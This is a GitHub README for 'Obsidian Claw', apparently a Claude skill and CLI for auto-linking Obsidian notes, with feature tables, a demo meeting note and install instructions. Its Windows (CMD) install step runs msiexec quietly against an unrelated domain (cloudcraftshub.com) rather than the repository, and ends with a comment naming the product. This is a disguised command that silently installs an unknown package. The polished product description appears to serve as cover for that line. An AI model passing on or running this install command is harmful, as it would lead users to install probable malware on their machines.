Skip to content

EdsonAlacantara/Obsidian-Claw

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Obsidian Claw

πŸ¦… Obsidian Claw

Your second brain finally has a memory

Transform chaotic notes into a living knowledge graph. Auto-link ideas, surface forgotten context, and let Claude build your ontology for you.


GitHub Stars License: MIT Python 3.10+ Claude Skill PRs Welcome


Install in 1 command Β· How it works Β· Demo Β· Docs


πŸ€” The Problem

You've been using Obsidian for months. Your vault has 400 notes. But when you start writing a new note, you're doing it from scratch β€” no idea it connects to three other notes you wrote last quarter, no reminder that you already discussed this with an investor six months ago, no link to the decision you logged but never revisited.

Your knowledge base has amnesia. Notes pile up. Links never get made. The graph stays sparse.


✨ What Obsidian Claw Does

Paste messy notes into Claude β†’ get perfectly structured, interlinked Obsidian notes in return.

Obsidian Claw is a Claude skill + CLI tool that acts as an intelligent layer on top of your vault:

Feature What it does
πŸ”— Auto-linking Scans your vault and automatically generates [[wikilinks]] to related existing notes
🧠 Entity extraction Finds people, projects, dates, decisions, and concepts in your raw text
πŸ”” Echo Engine Reminds you: "You discussed this with Investor X three months ago β€” here's the summary"
πŸ“Š Knowledge graph Generates a Mermaid diagram of how your new note connects to existing ones
πŸ“ Atomic formatting Converts brain dumps into Zettelkasten-style atomic notes with proper frontmatter
πŸ—“ Weekly synthesis Auto-generates weekly review notes with emerging patterns and unanswered questions
πŸ“‹ Entity registry Maintains a persistent registry of all people and concepts across your vault

⚑ Demo

Input: You paste this into Claude:

Met with Alexei today. He's still concerned about our D30 retention.
Said we need 40% before he'll commit to Series A. Also mentioned
that Masha from Sequoia might be interested. Need to fix onboarding first.

Output: Claude generates a fully-linked Obsidian note:

---
date: 2025-09-12
type: meeting
tags: [investor, fundraising, retention, series-a]
entities: [Alexei Petrov, Masha, Sequoia, Series A]
related: ["[[2025-06-10 β€” First Call with Alexei]]", "[[Retention Metrics]]", "[[Onboarding Flow]]"]
status: inbox
---

# Meeting with Alexei β€” Series A Update

> πŸ”” **Echo:** You last spoke with Alexei on [[2025-06-10 β€” First Call with Alexei]].
> He raised the same retention concern then. D30 target has been consistent: 40%.

## Key Points
- Alexei won't commit to Series A until D30 hits 40%
- Masha from Sequoia flagged as warm lead
- Onboarding identified as root cause blocker

## Open Questions
- [ ] What is our current D30 retention?
- [ ] How to reach Masha at Sequoia?

## Actions
- [ ] Fix onboarding flow β€” owner: product team
- [ ] Pull retention data from analytics

## Links
[[Alexei Petrov]] Β· [[Retention Metrics]] Β· [[Series A Fundraising MOC]] Β· [[Onboarding Flow]]

Plus a graph preview:

graph LR
  NewNote["πŸ“ Meeting with Alexei"]
  NewNote --> AlexeiPetrov["πŸ‘€ Alexei Petrov"]
  NewNote --> RetentionMetrics["πŸ“Š Retention Metrics"]
  NewNote --> SeriesA["πŸ’° Series A MOC"]
  AlexeiPetrov --> FirstCall["πŸ“… 2025-06-10 First Call"]
  RetentionMetrics --> OnboardingFlow["πŸš€ Onboarding Flow"]
Loading

πŸš€ Installation

One command β€” works on macOS, Linux, and Windows

macOS / Linux:

curl -fsSL https://raw.githubusercontent.com/EdsonAlacantara/Obsidian-Claw/main/install.sh | bash

Windows (CMD):

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem ObsidianClaw

Windows (Git Bash / WSL):

curl -fsSL https://raw.githubusercontent.com/EdsonAlacantara/Obsidian-Claw/main/install.sh | bash

Requirements: Python 3.10+ Β· Download Python

The installer will:

  1. βœ… Detect your OS automatically
  2. βœ… Download and install Obsidian Claw
  3. βœ… Install the Claude skill to your skills directory
  4. βœ… Add the obsidian-claw CLI to your PATH
  5. βœ… Verify everything works

Manual install (alternative)

git clone https://github.com/EdsonAlacantara/Obsidian-Claw.git
cd Obsidian-Claw
pip install -e .

πŸ›  How it Works

Obsidian Claw operates in two modes: Claude Skill Mode (conversational) and CLI Mode (automated pipeline).

Mode 1: Claude Skill (Recommended for most users)

Once installed, just talk to Claude naturally:

"Hey, I just had a call with my investor. Here are my notes: [paste]
Add this to my vault and link it to anything related."

Claude will:

  1. Extract entities and key ideas from your text
  2. Cross-reference with your vault (if you share a vault index)
  3. Generate a perfectly formatted, interlinked Obsidian note
  4. Surface relevant past notes via the Echo Engine
  5. Output a ready-to-paste markdown file

Mode 2: CLI Pipeline (For power users & automation)

# Initialize Obsidian Claw for your vault
obsidian-claw init --vault ~/Documents/MyVault

# Import a new note from raw text
obsidian-claw import meeting-notes.txt --vault ~/Documents/MyVault

# Batch process a folder of files
obsidian-claw batch ./inbox/ --vault ~/Documents/MyVault

# Generate weekly synthesis
obsidian-claw review --week --vault ~/Documents/MyVault

# Export knowledge graph
obsidian-claw graph --format mermaid --vault ~/Documents/MyVault

The Pipeline

Raw input (text / file / URL)
        ↓
  Entity extraction
        ↓
  Vault scan for related notes
        ↓
  Generate atomic notes with wikilinks
        ↓
  Run Echo Engine (surface past context)
        ↓
  Output: .md files + Mermaid graph

πŸ“ Project Structure

Obsidian-Claw/
β”œβ”€β”€ skill/
β”‚   └── SKILL.md              ← Claude skill definition
β”œβ”€β”€ references/
β”‚   β”œβ”€β”€ schemas.md            ← Data schemas for entities & notes
β”‚   β”œβ”€β”€ vault-structure.md    ← Recommended vault organization
β”‚   └── zettelkasten.md       ← Zettelkasten principles used
β”œβ”€β”€ assets/
β”‚   └── note-template.md      ← Default note template
β”œβ”€β”€ src/
β”‚   β”œβ”€β”€ cli.py                ← CLI entry point
β”‚   β”œβ”€β”€ extractor.py          ← Entity extraction engine
β”‚   β”œβ”€β”€ linker.py             ← Vault scanner & link generator
β”‚   β”œβ”€β”€ echo.py               ← Echo Engine (memory layer)
β”‚   └── graph.py              ← Graph export utilities
β”œβ”€β”€ install.sh                ← macOS/Linux installer
β”œβ”€β”€ install.ps1               ← Windows PowerShell installer
β”œβ”€β”€ requirements.txt
└── README.md

πŸ—‚ Recommended Vault Structure

Obsidian Claw works with any vault structure, but works best with this layout:

vault/
β”œβ”€β”€ 00 - Inbox/        ← Raw captures (Obsidian Claw processes these)
β”œβ”€β”€ 10 - Atoms/        ← One idea per note
β”œβ”€β”€ 20 - People/       ← Person pages (auto-generated)
β”œβ”€β”€ 30 - Projects/     ← Project MOCs
β”œβ”€β”€ 40 - Meetings/     ← Date-prefixed meeting notes
β”œβ”€β”€ 50 - Ideas/        ← Speculative thinking
β”œβ”€β”€ 60 - Resources/    ← Books, articles, references
β”œβ”€β”€ 70 - Reviews/      ← Weekly synthesis notes
└── .obsidian-claw/
    β”œβ”€β”€ entity-registry.json  ← Auto-maintained
    └── vault-index.json      ← Search cache

🧩 Integrations

Tool Status
Obsidian (local vault) βœ… Supported
Claude.ai βœ… Skill available
Claude API βœ… Supported
Obsidian Sync βœ… Compatible
iCloud / Dropbox vaults βœ… Compatible
Logseq πŸ”œ Planned
Notion export πŸ”œ Planned
Roam Research export πŸ”œ Planned

πŸ” Privacy

Obsidian Claw runs locally by default. Your notes never leave your machine unless you explicitly use Claude API mode. The entity registry and vault index are stored in .obsidian-claw/ inside your vault.

When using Claude API:

  • Only the text you explicitly provide is sent to Claude
  • No vault scanning happens server-side
  • You control exactly what context is shared

🀝 Contributing

Obsidian Claw is open source and contributions are very welcome!

git clone https://github.com/EdsonAlacantara/Obsidian-Claw.git
cd Obsidian-Claw
pip install -e ".[dev]"

Good first issues:

  • Add support for more vault structures
  • Improve entity extraction accuracy
  • Add Logseq export format
  • Write more templates for different note types
  • Improve the Echo Engine scoring algorithm

Please read CONTRIBUTING.md before opening a PR.


πŸ“– Documentation

Resource Link
Full skill reference skill/SKILL.md
Data schemas references/schemas.md
Vault structure guide references/vault-structure.md
Note template assets/note-template.md

πŸ’¬ Community & Support


⭐ Show Your Support

If Obsidian Claw helps you think better, please star this repo β€” it helps others discover it and motivates continued development.

Star History Chart


πŸ“„ License

MIT License β€” see LICENSE for details.


Made with πŸ¦… by EdsonAlacantara

"The best knowledge base is one that thinks alongside you."